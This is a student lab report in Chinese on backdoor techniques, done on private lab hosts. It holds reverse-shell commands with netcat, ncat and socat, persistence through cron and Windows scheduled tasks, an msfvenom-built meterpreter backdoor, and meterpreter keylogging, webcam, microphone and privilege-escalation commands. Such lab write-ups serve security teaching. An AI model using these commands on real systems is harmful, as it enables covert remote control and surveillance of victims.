2019-2020 网络对抗技术 20175207 Exp2 后门原理于实践

目录


1 相关概念

1.1 后门?

  • 后门就是不经过正常认证流程而访问系统的通道。

1.2 哪里有后门?

  • 编译器留后门
  • 操作系统留后门
  • 应用程序中留后门(最常见)
  • 潜伏于操作系统中/伪装为特定应用的专门后门程序

2 常用后门工具

2.1 NC/netcat

  • 相关介绍
  • 提供以下主要功能的访问
    • 与任何端口的出站和入站连接(TCP或UDP)
    • 特色隧道模式,它还允许特殊的隧道,例如UDP到TCP,并可以指定所有网络参数(源端口/接口,侦听端口/接口和允许连接到隧道的远程主机)。
      内置端口扫描功能,带有随机发生器
    • 高级用法选项,例如缓冲的发送模式(每N秒一行)和已传输和接收的数据的十六进制转储(到stderr或到指定的文件)
    • 可选的RFC854 telnet代码解析器和响应器
  • 系统
    • Linux:一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • 下载ncat.rar,解压即可使用
  • Win获得Linux Shell 基于win7/kali linux
    • 获取windows主机ip地址:ipconfig/all
    • windows打开监听:ncat.exe -l -p 8888
    • Linux反弹连接windows:nc 192.168.137.133 8888 -e /bin/sh
    • windows获得一个linux shell,可运行任何指令:我们试一下ls指令
  • Linux获得Win Shell
    • 获取Linux主机ip地址:ifconfig/all
    • Linux运行监听指令:nc -l -p 8888
    • Windows反弹连接Linux:ncat.exe -e cmd.exe 192.168.137.130 8888
    • Linux下看到Windows的命令提示:我们试一下dir指令和whoami指令
  • Netcat扩展知识

2.2 Meterpreter

2.3 corn

  • corn机制
    • cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制
  • corntab表达式

    +---------------- minute  分钟(0 - 59)
    |  +------------- hour    小时(0 - 23)
    |  |  +---------- day     日期(1 - 31)
    |  |  |  +------- month   月份(1 - 12)
    |  |  |  |  +---- week    星期(0 - 7) (星期天=0 or 7)
    |  |  |  |  |
    *  *  *  *  *  要运行的命令
  • crontab命令
    • man crontab查看命令手册
  • corn使用示例
    • 创建corn任务:
      crontab -e
      任意选择一个编辑器我使用的是nano
      */1 * * * * echo "Have a break now." >> /tmp/test.txt 每隔1分钟输出Have a break now到/tmp/test.txt
    • 查看定时任务:crontab -l
    • 捕捉/tmp/test.txt
  • 参考:①cron和crontab命令详解,②Shell命令_Cron使用


3 实验内容

3.1 使用netcat获取主机操作Shell,cron启动

  • Win 开启监听:ncat.exe -l -p 8888
  • Kali cron启动:每5分钟相应ip主机会获得一个shell
crontab -e
*/5 * * * * /bin/netcat 192.168.137.133 8888 -e /bin/sh


五分钟后……

3.2 使用socat获取主机操作Shell,任务计划启动

  • Win创建socat任务
    • 控制面板-->管理工具-->任务计划程序-->创建任务(右侧边栏)
    • 常规:设置名称 我设置的是20175207
    • 触发器:新建(设置如下)
    • 操作:新建(设置如下)
      ~程序或脚本~中为~socat.exe~的路径
      ~添加参数~中为tcp-listen:8888 exec:cmd.exe,pty,stderr 把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout
    • 依次确认
    • 查看20175207任务状态为准备就绪,点击运行
  • Kali 在Linux中获取cmd shell:socat - tcp:192.168.137.133:8888

3.3 使用 MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • Kali Linux中生成后门可执行文件
    注意:这里的ip地址为控制端ip,即kali主机的ip
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -f exe > 20175207_backdoor.exe

  • 将后门文件20175207_backdoor.exe传送到Win7主机中
    • Win ncat.exe -lv 8888 > 20175207_backdoor.exe
    • Kali nc 192.168.137.133 8888 < 20175207_backdoor.exe
      注意:这里的IP地址为被控主机IP,即Win7的ip
    • 查看Win7中是否有后门文件
  • Kali 进行监听
    • 进入msf控制台:msfconsole
    • 使用监听模块,设置payload,开始监听(配置如下)
      注意:set LHOST用的是控制端ip,即Kali的ip
  • Win 运行后门程序
    提前设置后门程序可通过防火墙

3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

  • 获取音频:recorf_mic

  • 获取摄像头:webcam_snap

  • 屏幕截图:screenshot

  • 击键记录
    • 开启键盘记录功能:keyscan_start
    • 显示捕捉到的键盘记录信息:keyscan_dump
    • 停止键盘记录功能:keyscan_stop
  • 提权:getsystem system是最高权限
  • 查看当前用户:getuid

    提权失败原因是当前用户为管理员

3.5 使用MSF生成shellcode,注入到实践1的pwn1中,获取反弹连接Shell

4 问题思考

  • 列举你能想到的一个后门进入到你系统的可能方式?
    • 从网络上下载的文件有后门
  • 列举你知道的后门如何启动起来的方式(Win/Linux)
    • 后门绑定线程
    • 修改注册表
  • Metepreter有哪些给你印象深刻的功能?
    • 构造Shellcode
    • 查看进程并进行相关操作
    • 远程控制桌面
    • 本机监听
  • 如何发现自己的系统有没有被安装后门?

5 实验中遇到的问题

  • Win7中运行后门程序出现APPCRASH错误
    • 没有找到合适的解决方法,换了win10重新操作
  • Win10中创建任务后无法成功运行
    • 配置防火墙,允许socat.exe通过防火墙
  • 运行任务后Kali监听不到主机
    • 主机停止任务,重新运行任务

猜你喜欢

转载自www.cnblogs.com/ln-0407/p/12510696.html